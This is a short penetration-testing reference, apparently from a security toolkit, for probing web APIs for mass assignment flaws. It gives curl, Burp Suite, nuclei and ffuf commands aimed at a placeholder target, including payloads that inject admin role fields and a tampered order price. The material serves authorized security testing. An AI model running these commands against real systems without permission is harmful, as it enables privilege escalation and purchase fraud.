<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->
# API Reference — Testing Mass Assignment Vulnerabilities

## curl — Field Injection Testing
```bash
# Inject privilege fields into profile update
curl -s -X PUT -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"name":"test","role":"admin","isAdmin":true}' \
  https://target.com/api/users/me

# Verify field acceptance
curl -s -H "Authorization: Bearer $TOKEN" \
  https://target.com/api/users/me | jq '.role, .isAdmin'

# Financial field injection
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"productId":"123","quantity":1,"price":0.01}' \
  https://target.com/api/orders
```

## Burp Suite — Parameter Mining
```
1. Capture a valid PUT/POST/PATCH request in Proxy
2. Send to Intruder → set payload position on field name
3. Load field wordlist (role, isAdmin, permissions, etc.)
4. Run attack and compare response lengths
5. Fields returning 200 with different body size indicate acceptance
```

## nuclei — Mass Assignment Templates
```bash
nuclei -u https://target.com -t http/vulnerabilities/mass-assignment.yaml \
  -H "Authorization: Bearer $TOKEN" -severity critical,high

# Custom template for field injection
nuclei -u https://target.com/api/users/me -t custom-mass-assign.yaml
```

## ffuf — Field Name Fuzzing
```bash
# Fuzz field names in JSON body
ffuf -u https://target.com/api/users/me -X PUT \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"FUZZ":"injected"}' -w fields.txt \
  -mc 200 -fs 0
```
